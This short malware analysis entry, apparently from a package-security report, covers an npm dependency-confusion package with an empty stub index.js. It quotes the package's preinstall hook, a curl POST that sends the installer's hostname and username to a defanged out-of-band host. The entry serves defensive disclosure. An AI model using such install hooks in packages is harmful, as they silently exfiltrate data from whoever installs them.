redux-probe-unknown-action-rce@1.0.0

Analysis

A dependency-confusion targeting name with no functional code (index.js is an empty stub). Its preinstall hook runs `curl -X POST -d "info=$(hostname) $(whoami)" hxxp://d22bct11og85ukurvqe0fwmajus9fyr9j[.]oast[.]online` on every install, exfiltrating the victim's hostname and username to that out-of-band interaction endpoint. The package description calls itself a PoC, but there is no repository URL or program reference to verify any research claim.